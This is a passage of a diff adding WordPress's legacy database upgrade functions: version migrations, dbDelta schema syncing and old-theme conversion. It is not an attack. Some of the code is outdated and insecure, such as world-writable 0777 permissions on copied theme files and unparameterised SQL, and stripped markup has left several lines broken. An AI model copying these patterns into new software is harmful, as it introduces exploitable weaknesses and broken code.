$wpdb->posts") == '0000-00-00 00:00:00') ? false : true; + + if (!$got_gmt_fields) { + + // Add or substract time to all dates, to get GMT dates + $add_hours = intval($diff_gmt_weblogger); + $add_minutes = intval(60 * ($diff_gmt_weblogger - $add_hours)); + $wpdb->query("UPDATE $wpdb->posts SET post_date_gmt = DATE_ADD(post_date, INTERVAL '$add_hours:$add_minutes' HOUR_MINUTE)"); + $wpdb->query("UPDATE $wpdb->posts SET post_modified = post_date"); + $wpdb->query("UPDATE $wpdb->posts SET post_modified_gmt = DATE_ADD(post_modified, INTERVAL '$add_hours:$add_minutes' HOUR_MINUTE) WHERE post_modified != '0000-00-00 00:00:00'"); + $wpdb->query("UPDATE $wpdb->comments SET comment_date_gmt = DATE_ADD(comment_date, INTERVAL '$add_hours:$add_minutes' HOUR_MINUTE)"); + $wpdb->query("UPDATE $wpdb->users SET user_registered = DATE_ADD(user_registered, INTERVAL '$add_hours:$add_minutes' HOUR_MINUTE)"); + } + +} + +/** + * Execute changes made in WordPress 1.5. + * + * @since 1.5.0 + */ +function upgrade_130() { + global $wpdb; + + // Remove extraneous backslashes. + $posts = $wpdb->get_results("SELECT ID, post_title, post_content, post_excerpt, guid, post_date, post_name, post_status, post_author FROM $wpdb->posts"); + if ($posts) { + foreach($posts as $post) { + $post_content = addslashes(deslash($post->post_content)); + $post_title = addslashes(deslash($post->post_title)); + $post_excerpt = addslashes(deslash($post->post_excerpt)); + if ( empty($post->guid) ) + $guid = get_permalink($post->ID); + else + $guid = $post->guid; + + $wpdb->update( $wpdb->posts, compact('post_title', 'post_content', 'post_excerpt', 'guid'), array('ID' => $post->ID) ); + + } + } + + // Remove extraneous backslashes. + $comments = $wpdb->get_results("SELECT comment_ID, comment_author, comment_content FROM $wpdb->comments"); + if ($comments) { + foreach($comments as $comment) { + $comment_content = deslash($comment->comment_content); + $comment_author = deslash($comment->comment_author); + + $wpdb->update($wpdb->comments, compact('comment_content', 'comment_author'), array('comment_ID' => $comment->comment_ID) ); + } + } + + // Remove extraneous backslashes. + $links = $wpdb->get_results("SELECT link_id, link_name, link_description FROM $wpdb->links"); + if ($links) { + foreach($links as $link) { + $link_name = deslash($link->link_name); + $link_description = deslash($link->link_description); + + $wpdb->update( $wpdb->links, compact('link_name', 'link_description'), array('link_id' => $link->link_id) ); + } + } + + $active_plugins = __get_option('active_plugins'); + + // If plugins are not stored in an array, they're stored in the old + // newline separated format. Convert to new format. + if ( !is_array( $active_plugins ) ) { + $active_plugins = explode("\n", trim($active_plugins)); + update_option('active_plugins', $active_plugins); + } + + // Obsolete tables + $wpdb->query('DROP TABLE IF EXISTS ' . $wpdb->prefix . 'optionvalues'); + $wpdb->query('DROP TABLE IF EXISTS ' . $wpdb->prefix . 'optiontypes'); + $wpdb->query('DROP TABLE IF EXISTS ' . $wpdb->prefix . 'optiongroups'); + $wpdb->query('DROP TABLE IF EXISTS ' . $wpdb->prefix . 'optiongroup_options'); + + // Update comments table to use comment_type + $wpdb->query("UPDATE $wpdb->comments SET comment_type='trackback', comment_content = REPLACE(comment_content, '', '') WHERE comment_content LIKE '%'"); + $wpdb->query("UPDATE $wpdb->comments SET comment_type='pingback', comment_content = REPLACE(comment_content, '', '') WHERE comment_content LIKE '%'"); + + // Some versions have multiple duplicate option_name rows with the same values + $options = $wpdb->get_results("SELECT option_name, COUNT(option_name) AS dupes FROM `$wpdb->options` GROUP BY option_name"); + foreach ( $options as $option ) { + if ( 1 != $option->dupes ) { // Could this be done in the query? + $limit = $option->dupes - 1; + $dupe_ids = $wpdb->get_col( $wpdb->prepare("SELECT option_id FROM $wpdb->options WHERE option_name = %s LIMIT %d", $option->option_name, $limit) ); + if ( $dupe_ids ) { + $dupe_ids = join($dupe_ids, ','); + $wpdb->query("DELETE FROM $wpdb->options WHERE option_id IN ($dupe_ids)"); + } + } + } + + make_site_theme(); +} + +/** + * Execute changes made in WordPress 2.0. + * + * @since 2.0.0 + */ +function upgrade_160() { + global $wpdb, $wp_current_db_version; + + populate_roles_160(); + + $users = $wpdb->get_results("SELECT * FROM $wpdb->users"); + foreach ( $users as $user ) : + if ( !empty( $user->user_firstname ) ) + update_usermeta( $user->ID, 'first_name', $wpdb->escape($user->user_firstname) ); + if ( !empty( $user->user_lastname ) ) + update_usermeta( $user->ID, 'last_name', $wpdb->escape($user->user_lastname) ); + if ( !empty( $user->user_nickname ) ) + update_usermeta( $user->ID, 'nickname', $wpdb->escape($user->user_nickname) ); + if ( !empty( $user->user_level ) ) + update_usermeta( $user->ID, $wpdb->prefix . 'user_level', $user->user_level ); + if ( !empty( $user->user_icq ) ) + update_usermeta( $user->ID, 'icq', $wpdb->escape($user->user_icq) ); + if ( !empty( $user->user_aim ) ) + update_usermeta( $user->ID, 'aim', $wpdb->escape($user->user_aim) ); + if ( !empty( $user->user_msn ) ) + update_usermeta( $user->ID, 'msn', $wpdb->escape($user->user_msn) ); + if ( !empty( $user->user_yim ) ) + update_usermeta( $user->ID, 'yim', $wpdb->escape($user->user_icq) ); + if ( !empty( $user->user_description ) ) + update_usermeta( $user->ID, 'description', $wpdb->escape($user->user_description) ); + + if ( isset( $user->user_idmode ) ): + $idmode = $user->user_idmode; + if ($idmode == 'nickname') $id = $user->user_nickname; + if ($idmode == 'login') $id = $user->user_login; + if ($idmode == 'firstname') $id = $user->user_firstname; + if ($idmode == 'lastname') $id = $user->user_lastname; + if ($idmode == 'namefl') $id = $user->user_firstname.' '.$user->user_lastname; + if ($idmode == 'namelf') $id = $user->user_lastname.' '.$user->user_firstname; + if (!$idmode) $id = $user->user_nickname; + $wpdb->update( $wpdb->users, array('display_name' => $id), array('ID' => $user->ID) ); + endif; + + // FIXME: RESET_CAPS is temporary code to reset roles and caps if flag is set. + $caps = get_usermeta( $user->ID, $wpdb->prefix . 'capabilities'); + if ( empty($caps) || defined('RESET_CAPS') ) { + $level = get_usermeta($user->ID, $wpdb->prefix . 'user_level'); + $role = translate_level_to_role($level); + update_usermeta( $user->ID, $wpdb->prefix . 'capabilities', array($role => true) ); + } + + endforeach; + $old_user_fields = array( 'user_firstname', 'user_lastname', 'user_icq', 'user_aim', 'user_msn', 'user_yim', 'user_idmode', 'user_ip', 'user_domain', 'user_browser', 'user_description', 'user_nickname', 'user_level' ); + $wpdb->hide_errors(); + foreach ( $old_user_fields as $old ) + $wpdb->query("ALTER TABLE $wpdb->users DROP $old"); + $wpdb->show_errors(); + + // populate comment_count field of posts table + $comments = $wpdb->get_results( "SELECT comment_post_ID, COUNT(*) as c FROM $wpdb->comments WHERE comment_approved = '1' GROUP BY comment_post_ID" ); + if( is_array( $comments ) ) + foreach ($comments as $comment) + $wpdb->update( $wpdb->posts, array('comment_count' => $comment->c), array('ID' => $comment->comment_post_ID) ); + + // Some alpha versions used a post status of object instead of attachment and put + // the mime type in post_type instead of post_mime_type. + if ( $wp_current_db_version > 2541 && $wp_current_db_version <= 3091 ) { + $objects = $wpdb->get_results("SELECT ID, post_type FROM $wpdb->posts WHERE post_status = 'object'"); + foreach ($objects as $object) { + $wpdb->update( $wpdb->posts, array( 'post_status' => 'attachment', + 'post_mime_type' => $object->post_type, + 'post_type' => ''), + array( 'ID' => $object->ID ) ); + + $meta = get_post_meta($object->ID, 'imagedata', true); + if ( ! empty($meta['file']) ) + update_attached_file( $object->ID, $meta['file'] ); + } + } +} + +/** + * Execute changes made in WordPress 2.1. + * + * @since 2.1.0 + */ +function upgrade_210() { + global $wpdb, $wp_current_db_version; + + if ( $wp_current_db_version < 3506 ) { + // Update status and type. + $posts = $wpdb->get_results("SELECT ID, post_status FROM $wpdb->posts"); + + if ( ! empty($posts) ) foreach ($posts as $post) { + $status = $post->post_status; + $type = 'post'; + + if ( 'static' == $status ) { + $status = 'publish'; + $type = 'page'; + } else if ( 'attachment' == $status ) { + $status = 'inherit'; + $type = 'attachment'; + } + + $wpdb->query( $wpdb->prepare("UPDATE $wpdb->posts SET post_status = %s, post_type = %s WHERE ID = %d", $status, $type, $post->ID) ); + } + } + + if ( $wp_current_db_version < 3845 ) { + populate_roles_210(); + } + + if ( $wp_current_db_version < 3531 ) { + // Give future posts a post_status of future. + $now = gmdate('Y-m-d H:i:59'); + $wpdb->query ("UPDATE $wpdb->posts SET post_status = 'future' WHERE post_status = 'publish' AND post_date_gmt > '$now'"); + + $posts = $wpdb->get_results("SELECT ID, post_date FROM $wpdb->posts WHERE post_status ='future'"); + if ( !empty($posts) ) + foreach ( $posts as $post ) + wp_schedule_single_event(mysql2date('U', $post->post_date, false), 'publish_future_post', array($post->ID)); + } +} + +/** + * Execute changes made in WordPress 2.3. + * + * @since 2.3.0 + */ +function upgrade_230() { + global $wp_current_db_version, $wpdb; + + if ( $wp_current_db_version < 5200 ) { + populate_roles_230(); + } + + // Convert categories to terms. + $tt_ids = array(); + $have_tags = false; + $categories = $wpdb->get_results("SELECT * FROM $wpdb->categories ORDER BY cat_ID"); + foreach ($categories as $category) { + $term_id = (int) $category->cat_ID; + $name = $category->cat_name; + $description = $category->category_description; + $slug = $category->category_nicename; + $parent = $category->category_parent; + $term_group = 0; + + // Associate terms with the same slug in a term group and make slugs unique. + if ( $exists = $wpdb->get_results( $wpdb->prepare("SELECT term_id, term_group FROM $wpdb->terms WHERE slug = %s", $slug) ) ) { + $term_group = $exists[0]->term_group; + $id = $exists[0]->term_id; + $num = 2; + do { + $alt_slug = $slug . "-$num"; + $num++; + $slug_check = $wpdb->get_var( $wpdb->prepare("SELECT slug FROM $wpdb->terms WHERE slug = %s", $alt_slug) ); + } while ( $slug_check ); + + $slug = $alt_slug; + + if ( empty( $term_group ) ) { + $term_group = $wpdb->get_var("SELECT MAX(term_group) FROM $wpdb->terms GROUP BY term_group") + 1; + $wpdb->query( $wpdb->prepare("UPDATE $wpdb->terms SET term_group = %d WHERE term_id = %d", $term_group, $id) ); + } + } + + $wpdb->query( $wpdb->prepare("INSERT INTO $wpdb->terms (term_id, name, slug, term_group) VALUES + (%d, %s, %s, %d)", $term_id, $name, $slug, $term_group) ); + + $count = 0; + if ( !empty($category->category_count) ) { + $count = (int) $category->category_count; + $taxonomy = 'category'; + $wpdb->query( $wpdb->prepare("INSERT INTO $wpdb->term_taxonomy (term_id, taxonomy, description, parent, count) VALUES ( %d, %s, %s, %d, %d)", $term_id, $taxonomy, $description, $parent, $count) ); + $tt_ids[$term_id][$taxonomy] = (int) $wpdb->insert_id; + } + + if ( !empty($category->link_count) ) { + $count = (int) $category->link_count; + $taxonomy = 'link_category'; + $wpdb->query( $wpdb->prepare("INSERT INTO $wpdb->term_taxonomy (term_id, taxonomy, description, parent, count) VALUES ( %d, %s, %s, %d, %d)", $term_id, $taxonomy, $description, $parent, $count) ); + $tt_ids[$term_id][$taxonomy] = (int) $wpdb->insert_id; + } + + if ( !empty($category->tag_count) ) { + $have_tags = true; + $count = (int) $category->tag_count; + $taxonomy = 'post_tag'; + $wpdb->insert( $wpdb->term_taxonomy, compact('term_id', 'taxonomy', 'description', 'parent', 'count') ); + $tt_ids[$term_id][$taxonomy] = (int) $wpdb->insert_id; + } + + if ( empty($count) ) { + $count = 0; + $taxonomy = 'category'; + $wpdb->insert( $wpdb->term_taxonomy, compact('term_id', 'taxonomy', 'description', 'parent', 'count') ); + $tt_ids[$term_id][$taxonomy] = (int) $wpdb->insert_id; + } + } + + $select = 'post_id, category_id'; + if ( $have_tags ) + $select .= ', rel_type'; + + $posts = $wpdb->get_results("SELECT $select FROM $wpdb->post2cat GROUP BY post_id, category_id"); + foreach ( $posts as $post ) { + $post_id = (int) $post->post_id; + $term_id = (int) $post->category_id; + $taxonomy = 'category'; + if ( !empty($post->rel_type) && 'tag' == $post->rel_type) + $taxonomy = 'tag'; + $tt_id = $tt_ids[$term_id][$taxonomy]; + if ( empty($tt_id) ) + continue; + + $wpdb->insert( $wpdb->term_relationships, array('object_id' => $post_id, 'term_taxonomy_id' => $tt_id) ); + } + + // < 3570 we used linkcategories. >= 3570 we used categories and link2cat. + if ( $wp_current_db_version < 3570 ) { + // Create link_category terms for link categories. Create a map of link cat IDs + // to link_category terms. + $link_cat_id_map = array(); + $default_link_cat = 0; + $tt_ids = array(); + $link_cats = $wpdb->get_results("SELECT cat_id, cat_name FROM " . $wpdb->prefix . 'linkcategories'); + foreach ( $link_cats as $category) { + $cat_id = (int) $category->cat_id; + $term_id = 0; + $name = $wpdb->escape($category->cat_name); + $slug = sanitize_title($name); + $term_group = 0; + + // Associate terms with the same slug in a term group and make slugs unique. + if ( $exists = $wpdb->get_results( $wpdb->prepare("SELECT term_id, term_group FROM $wpdb->terms WHERE slug = %s", $slug) ) ) { + $term_group = $exists[0]->term_group; + $term_id = $exists[0]->term_id; + } + + if ( empty($term_id) ) { + $wpdb->insert( $wpdb->terms, compact('name', 'slug', 'term_group') ); + $term_id = (int) $wpdb->insert_id; + } + + $link_cat_id_map[$cat_id] = $term_id; + $default_link_cat = $term_id; + + $wpdb->insert( $wpdb->term_taxonomy, array('term_id' => $term_id, 'taxonomy' => 'link_category', 'description' => '', 'parent' => 0, 'count' => 0) ); + $tt_ids[$term_id] = (int) $wpdb->insert_id; + } + + // Associate links to cats. + $links = $wpdb->get_results("SELECT link_id, link_category FROM $wpdb->links"); + if ( !empty($links) ) foreach ( $links as $link ) { + if ( 0 == $link->link_category ) + continue; + if ( ! isset($link_cat_id_map[$link->link_category]) ) + continue; + $term_id = $link_cat_id_map[$link->link_category]; + $tt_id = $tt_ids[$term_id]; + if ( empty($tt_id) ) + continue; + + $wpdb->insert( $wpdb->term_relationships, array('object_id' => $link->link_id, 'term_taxonomy_id' => $tt_id) ); + } + + // Set default to the last category we grabbed during the upgrade loop. + update_option('default_link_category', $default_link_cat); + } else { + $links = $wpdb->get_results("SELECT link_id, category_id FROM $wpdb->link2cat GROUP BY link_id, category_id"); + foreach ( $links as $link ) { + $link_id = (int) $link->link_id; + $term_id = (int) $link->category_id; + $taxonomy = 'link_category'; + $tt_id = $tt_ids[$term_id][$taxonomy]; + if ( empty($tt_id) ) + continue; + $wpdb->insert( $wpdb->term_relationships, array('object_id' => $link_id, 'term_taxonomy_id' => $tt_id) ); + } + } + + if ( $wp_current_db_version < 4772 ) { + // Obsolete linkcategories table + $wpdb->query('DROP TABLE IF EXISTS ' . $wpdb->prefix . 'linkcategories'); + } + + // Recalculate all counts + $terms = $wpdb->get_results("SELECT term_taxonomy_id, taxonomy FROM $wpdb->term_taxonomy"); + foreach ( (array) $terms as $term ) { + if ( ('post_tag' == $term->taxonomy) || ('category' == $term->taxonomy) ) + $count = $wpdb->get_var( $wpdb->prepare("SELECT COUNT(*) FROM $wpdb->term_relationships, $wpdb->posts WHERE $wpdb->posts.ID = $wpdb->term_relationships.object_id AND post_status = 'publish' AND post_type = 'post' AND term_taxonomy_id = %d", $term->term_taxonomy_id) ); + else + $count = $wpdb->get_var( $wpdb->prepare("SELECT COUNT(*) FROM $wpdb->term_relationships WHERE term_taxonomy_id = %d", $term->term_taxonomy_id) ); + $wpdb->update( $wpdb->term_taxonomy, array('count' => $count), array('term_taxonomy_id' => $term->term_taxonomy_id) ); + } +} + +/** + * Remove old options from the database. + * + * @since 2.3.0 + */ +function upgrade_230_options_table() { + global $wpdb; + $old_options_fields = array( 'option_can_override', 'option_type', 'option_width', 'option_height', 'option_description', 'option_admin_level' ); + $wpdb->hide_errors(); + foreach ( $old_options_fields as $old ) + $wpdb->query("ALTER TABLE $wpdb->options DROP $old"); + $wpdb->show_errors(); +} + +/** + * Remove old categories, link2cat, and post2cat database tables. + * + * @since 2.3.0 + */ +function upgrade_230_old_tables() { + global $wpdb; + $wpdb->query('DROP TABLE IF EXISTS ' . $wpdb->prefix . 'categories'); + $wpdb->query('DROP TABLE IF EXISTS ' . $wpdb->prefix . 'link2cat'); + $wpdb->query('DROP TABLE IF EXISTS ' . $wpdb->prefix . 'post2cat'); +} + +/** + * Upgrade old slugs made in version 2.2. + * + * @since 2.2.0 + */ +function upgrade_old_slugs() { + // upgrade people who were using the Redirect Old Slugs plugin + global $wpdb; + $wpdb->query("UPDATE $wpdb->postmeta SET meta_key = '_wp_old_slug' WHERE meta_key = 'old_slug'"); +} + +/** + * Execute changes made in WordPress 2.5.0. + * + * @since 2.5.0 + */ +function upgrade_250() { + global $wp_current_db_version; + + if ( $wp_current_db_version < 6689 ) { + populate_roles_250(); + } + +} + +/** + * Execute changes made in WordPress 2.5.1. + * + * @since 2.5.1 + */ +function upgrade_251() { + global $wp_current_db_version; + + // Make the secret longer + update_option('secret', wp_generate_password(64)); +} + +/** + * Execute changes made in WordPress 2.5.2. + * + * @since 2.5.2 + */ +function upgrade_252() { + global $wpdb; + + $wpdb->query("UPDATE $wpdb->users SET user_activation_key = ''"); +} + +/** + * Execute changes made in WordPress 2.6. + * + * @since 2.6.0 + */ +function upgrade_260() { + global $wp_current_db_version; + + if ( $wp_current_db_version < 8000 ) + populate_roles_260(); + + if ( $wp_current_db_version < 8201 ) { + update_option('enable_app', 1); + update_option('enable_xmlrpc', 1); + } +} + +/** + * Execute changes made in WordPress 2.7. + * + * @since 2.7.0 + */ +function upgrade_270() { + global $wpdb, $wp_current_db_version; + + if ( $wp_current_db_version < 8980 ) + populate_roles_270(); + + // Update post_date for unpublished posts with empty timestamp + if ( $wp_current_db_version < 8921 ) + $wpdb->query( "UPDATE $wpdb->posts SET post_date = post_modified WHERE post_date = '0000-00-00 00:00:00'" ); +} + +/** + * Execute changes made in WordPress 2.8. + * + * @since 2.8.0 + */ +function upgrade_280() { + global $wp_current_db_version; + + if ( $wp_current_db_version < 10360 ) + populate_roles_280(); +} + +/** + * Execute changes made in WordPress 2.9. + * + * @since 2.9.0 + */ +function upgrade_290() { + global $wp_current_db_version; + + if ( $wp_current_db_version < 11958 ) { + // Previously, setting depth to 1 would redundantly disable threading, but now 2 is the minimum depth to avoid confusion + if ( get_option( 'thread_comments_depth' ) == '1' ) { + update_option( 'thread_comments_depth', 2 ); + update_option( 'thread_comments', 0 ); + } + } +} + + +// The functions we use to actually do stuff + +// General + +/** + * {@internal Missing Short Description}} + * + * {@internal Missing Long Description}} + * + * @since unknown + * + * @param string $table_name Database table name to create. + * @param string $create_ddl SQL statement to create table. + * @return bool If table already exists or was created by function. + */ +function maybe_create_table($table_name, $create_ddl) { + global $wpdb; + if ( $wpdb->get_var("SHOW TABLES LIKE '$table_name'") == $table_name ) + return true; + //didn't find it try to create it. + $q = $wpdb->query($create_ddl); + // we cannot directly tell that whether this succeeded! + if ( $wpdb->get_var("SHOW TABLES LIKE '$table_name'") == $table_name ) + return true; + return false; +} + +/** + * {@internal Missing Short Description}} + * + * {@internal Missing Long Description}} + * + * @since unknown + * + * @param string $table Database table name. + * @param string $index Index name to drop. + * @return bool True, when finished. + */ +function drop_index($table, $index) { + global $wpdb; + $wpdb->hide_errors(); + $wpdb->query("ALTER TABLE `$table` DROP INDEX `$index`"); + // Now we need to take out all the extra ones we may have created + for ($i = 0; $i < 25; $i++) { + $wpdb->query("ALTER TABLE `$table` DROP INDEX `{$index}_$i`"); + } + $wpdb->show_errors(); + return true; +} + +/** + * {@internal Missing Short Description}} + * + * {@internal Missing Long Description}} + * + * @since unknown + * + * @param string $table Database table name. + * @param string $index Database table index column. + * @return bool True, when done with execution. + */ +function add_clean_index($table, $index) { + global $wpdb; + drop_index($table, $index); + $wpdb->query("ALTER TABLE `$table` ADD INDEX ( `$index` )"); + return true; +} + +/** + ** maybe_add_column() + ** Add column to db table if it doesn't exist. + ** Returns: true if already exists or on successful completion + ** false on error + */ +function maybe_add_column($table_name, $column_name, $create_ddl) { + global $wpdb, $debug; + foreach ($wpdb->get_col("DESC $table_name", 0) as $column ) { + if ($debug) echo("checking $column == $column_name
    "); + if ($column == $column_name) { + return true; + } + } + //didn't find it try to create it. + $q = $wpdb->query($create_ddl); + // we cannot directly tell that whether this succeeded! + foreach ($wpdb->get_col("DESC $table_name", 0) as $column ) { + if ($column == $column_name) { + return true; + } + } + return false; +} + +/** + * Retrieve all options as it was for 1.2. + * + * @since 1.2.0 + * + * @return array List of options. + */ +function get_alloptions_110() { + global $wpdb; + if ($options = $wpdb->get_results("SELECT option_name, option_value FROM $wpdb->options")) { + foreach ($options as $option) { + // "When trying to design a foolproof system, + // never underestimate the ingenuity of the fools :)" -- Dougal + if ('siteurl' == $option->option_name) $option->option_value = preg_replace('|/+$|', '', $option->option_value); + if ('home' == $option->option_name) $option->option_value = preg_replace('|/+$|', '', $option->option_value); + if ('category_base' == $option->option_name) $option->option_value = preg_replace('|/+$|', '', $option->option_value); + $all_options->{$option->option_name} = stripslashes($option->option_value); + } + } + return $all_options; +} + +/** + * Version of get_option that is private to install/upgrade. + * + * @since unknown + * @access private + * + * @param string $setting Option name. + * @return mixed + */ +function __get_option($setting) { + global $wpdb; + + if ( $setting == 'home' && defined( 'WP_HOME' ) ) { + return preg_replace( '|/+$|', '', constant( 'WP_HOME' ) ); + } + + if ( $setting == 'siteurl' && defined( 'WP_SITEURL' ) ) { + return preg_replace( '|/+$|', '', constant( 'WP_SITEURL' ) ); + } + + $option = $wpdb->get_var( $wpdb->prepare("SELECT option_value FROM $wpdb->options WHERE option_name = %s", $setting) ); + + if ( 'home' == $setting && '' == $option ) + return __get_option('siteurl'); + + if ( 'siteurl' == $setting || 'home' == $setting || 'category_base' == $setting ) + $option = preg_replace('|/+$|', '', $option); + + @ $kellogs = unserialize($option); + if ($kellogs !== FALSE) + return $kellogs; + else + return $option; +} + +/** + * {@internal Missing Short Description}} + * + * {@internal Missing Long Description}} + * + * @since unknown + * + * @param string $content + * @return string + */ +function deslash($content) { + // Note: \\\ inside a regex denotes a single backslash. + + // Replace one or more backslashes followed by a single quote with + // a single quote. + $content = preg_replace("/\\\+'/", "'", $content); + + // Replace one or more backslashes followed by a double quote with + // a double quote. + $content = preg_replace('/\\\+"/', '"', $content); + + // Replace one or more backslashes with one backslash. + $content = preg_replace("/\\\+/", "\\", $content); + + return $content; +} + +/** + * {@internal Missing Short Description}} + * + * {@internal Missing Long Description}} + * + * @since unknown + * + * @param unknown_type $queries + * @param unknown_type $execute + * @return unknown + */ +function dbDelta($queries, $execute = true) { + global $wpdb; + + // Separate individual queries into an array + if( !is_array($queries) ) { + $queries = explode( ';', $queries ); + if('' == $queries[count($queries) - 1]) array_pop($queries); + } + + $cqueries = array(); // Creation Queries + $iqueries = array(); // Insertion Queries + $for_update = array(); + + // Create a tablename index for an array ($cqueries) of queries + foreach($queries as $qry) { + if(preg_match("|CREATE TABLE ([^ ]*)|", $qry, $matches)) { + $cqueries[trim( strtolower($matches[1]), '`' )] = $qry; + $for_update[$matches[1]] = 'Created table '.$matches[1]; + } + else if(preg_match("|CREATE DATABASE ([^ ]*)|", $qry, $matches)) { + array_unshift($cqueries, $qry); + } + else if(preg_match("|INSERT INTO ([^ ]*)|", $qry, $matches)) { + $iqueries[] = $qry; + } + else if(preg_match("|UPDATE ([^ ]*)|", $qry, $matches)) { + $iqueries[] = $qry; + } + else { + // Unrecognized query type + } + } + + // Check to see which tables and fields exist + if($tables = $wpdb->get_col('SHOW TABLES;')) { + // For every table in the database + foreach($tables as $table) { + // If a table query exists for the database table... + if( array_key_exists(strtolower($table), $cqueries) ) { + // Clear the field and index arrays + unset($cfields); + unset($indices); + // Get all of the field names in the query from between the parens + preg_match("|\((.*)\)|ms", $cqueries[strtolower($table)], $match2); + $qryline = trim($match2[1]); + + // Separate field lines into an array + $flds = explode("\n", $qryline); + + //echo "
    \n".print_r(strtolower($table), true).":\n".print_r($cqueries, true)."

    "; + + // For every field line specified in the query + foreach($flds as $fld) { + // Extract the field name + preg_match("|^([^ ]*)|", trim($fld), $fvals); + $fieldname = trim( $fvals[1], '`' ); + + // Verify the found field name + $validfield = true; + switch(strtolower($fieldname)) + { + case '': + case 'primary': + case 'index': + case 'fulltext': + case 'unique': + case 'key': + $validfield = false; + $indices[] = trim(trim($fld), ", \n"); + break; + } + $fld = trim($fld); + + // If it's a valid field, add it to the field array + if($validfield) { + $cfields[strtolower($fieldname)] = trim($fld, ", \n"); + } + } + + // Fetch the table column structure from the database + $tablefields = $wpdb->get_results("DESCRIBE {$table};"); + + // For every field in the table + foreach($tablefields as $tablefield) { + // If the table field exists in the field array... + if(array_key_exists(strtolower($tablefield->Field), $cfields)) { + // Get the field type from the query + preg_match("|".$tablefield->Field." ([^ ]*( unsigned)?)|i", $cfields[strtolower($tablefield->Field)], $matches); + $fieldtype = $matches[1]; + + // Is actual field type different from the field type in query? + if($tablefield->Type != $fieldtype) { + // Add a query to change the column type + $cqueries[] = "ALTER TABLE {$table} CHANGE COLUMN {$tablefield->Field} " . $cfields[strtolower($tablefield->Field)]; + $for_update[$table.'.'.$tablefield->Field] = "Changed type of {$table}.{$tablefield->Field} from {$tablefield->Type} to {$fieldtype}"; + } + + // Get the default value from the array + //echo "{$cfields[strtolower($tablefield->Field)]}
    "; + if(preg_match("| DEFAULT '(.*)'|i", $cfields[strtolower($tablefield->Field)], $matches)) { + $default_value = $matches[1]; + if($tablefield->Default != $default_value) + { + // Add a query to change the column's default value + $cqueries[] = "ALTER TABLE {$table} ALTER COLUMN {$tablefield->Field} SET DEFAULT '{$default_value}'"; + $for_update[$table.'.'.$tablefield->Field] = "Changed default value of {$table}.{$tablefield->Field} from {$tablefield->Default} to {$default_value}"; + } + } + + // Remove the field from the array (so it's not added) + unset($cfields[strtolower($tablefield->Field)]); + } + else { + // This field exists in the table, but not in the creation queries? + } + } + + // For every remaining field specified for the table + foreach($cfields as $fieldname => $fielddef) { + // Push a query line into $cqueries that adds the field to that table + $cqueries[] = "ALTER TABLE {$table} ADD COLUMN $fielddef"; + $for_update[$table.'.'.$fieldname] = 'Added column '.$table.'.'.$fieldname; + } + + // Index stuff goes here + // Fetch the table index structure from the database + $tableindices = $wpdb->get_results("SHOW INDEX FROM {$table};"); + + if($tableindices) { + // Clear the index array + unset($index_ary); + + // For every index in the table + foreach($tableindices as $tableindex) { + // Add the index to the index data array + $keyname = $tableindex->Key_name; + $index_ary[$keyname]['columns'][] = array('fieldname' => $tableindex->Column_name, 'subpart' => $tableindex->Sub_part); + $index_ary[$keyname]['unique'] = ($tableindex->Non_unique == 0)?true:false; + } + + // For each actual index in the index array + foreach($index_ary as $index_name => $index_data) { + // Build a create string to compare to the query + $index_string = ''; + if($index_name == 'PRIMARY') { + $index_string .= 'PRIMARY '; + } + else if($index_data['unique']) { + $index_string .= 'UNIQUE '; + } + $index_string .= 'KEY '; + if($index_name != 'PRIMARY') { + $index_string .= $index_name; + } + $index_columns = ''; + // For each column in the index + foreach($index_data['columns'] as $column_data) { + if($index_columns != '') $index_columns .= ','; + // Add the field to the column list string + $index_columns .= $column_data['fieldname']; + if($column_data['subpart'] != '') { + $index_columns .= '('.$column_data['subpart'].')'; + } + } + // Add the column list to the index create string + $index_string .= ' ('.$index_columns.')'; + if(!(($aindex = array_search($index_string, $indices)) === false)) { + unset($indices[$aindex]); + //echo "
    {$table}:
    Found index:".$index_string."
    \n"; + } + //else echo "
    {$table}:
    Did not find index:".$index_string."
    ".print_r($indices, true)."
    \n"; + } + } + + // For every remaining index specified for the table + foreach ( (array) $indices as $index ) { + // Push a query line into $cqueries that adds the index to that table + $cqueries[] = "ALTER TABLE {$table} ADD $index"; + $for_update[$table.'.'.$fieldname] = 'Added index '.$table.' '.$index; + } + + // Remove the original table creation query from processing + unset($cqueries[strtolower($table)]); + unset($for_update[strtolower($table)]); + } else { + // This table exists in the database, but not in the creation queries? + } + } + } + + $allqueries = array_merge($cqueries, $iqueries); + if($execute) { + foreach($allqueries as $query) { + //echo "
    ".print_r($query, true)."
    \n"; + $wpdb->query($query); + } + } + + return $for_update; +} + +/** + * {@internal Missing Short Description}} + * + * {@internal Missing Long Description}} + * + * @since unknown + */ +function make_db_current() { + global $wp_queries; + + $alterations = dbDelta($wp_queries); + echo "
      \n"; + foreach($alterations as $alteration) echo "
    1. $alteration
    2. \n"; + echo "
    \n"; +} + +/** + * {@internal Missing Short Description}} + * + * {@internal Missing Long Description}} + * + * @since unknown + */ +function make_db_current_silent() { + global $wp_queries; + + $alterations = dbDelta($wp_queries); +} + +/** + * {@internal Missing Short Description}} + * + * {@internal Missing Long Description}} + * + * @since unknown + * + * @param unknown_type $theme_name + * @param unknown_type $template + * @return unknown + */ +function make_site_theme_from_oldschool($theme_name, $template) { + $home_path = get_home_path(); + $site_dir = WP_CONTENT_DIR . "/themes/$template"; + + if (! file_exists("$home_path/index.php")) + return false; + + // Copy files from the old locations to the site theme. + // TODO: This does not copy arbitarary include dependencies. Only the + // standard WP files are copied. + $files = array('index.php' => 'index.php', 'wp-layout.css' => 'style.css', 'wp-comments.php' => 'comments.php', 'wp-comments-popup.php' => 'comments-popup.php'); + + foreach ($files as $oldfile => $newfile) { + if ($oldfile == 'index.php') + $oldpath = $home_path; + else + $oldpath = ABSPATH; + + if ($oldfile == 'index.php') { // Check to make sure it's not a new index + $index = implode('', file("$oldpath/$oldfile")); + if (strpos($index, 'WP_USE_THEMES') !== false) { + if (! @copy(WP_CONTENT_DIR . '/themes/default/index.php', "$site_dir/$newfile")) + return false; + continue; // Don't copy anything + } + } + + if (! @copy("$oldpath/$oldfile", "$site_dir/$newfile")) + return false; + + chmod("$site_dir/$newfile", 0777); + + // Update the blog header include in each file. + $lines = explode("\n", implode('', file("$site_dir/$newfile"))); + if ($lines) { + $f = fopen("$site_dir/$newfile", 'w'); + + foreach ($lines as $line) { + if (preg_match('/require.*wp-blog-header/', $line)) + $line = '//' . $line; + + // Update stylesheet references. + $line = str_replace("/wp-layout.css", "", $line); + + // Update comments template inclusion. + $line = str_replace("", "", $line); + + fwrite($f, "{$line}\n"); + } + fclose($f); + } + } + + // Add a 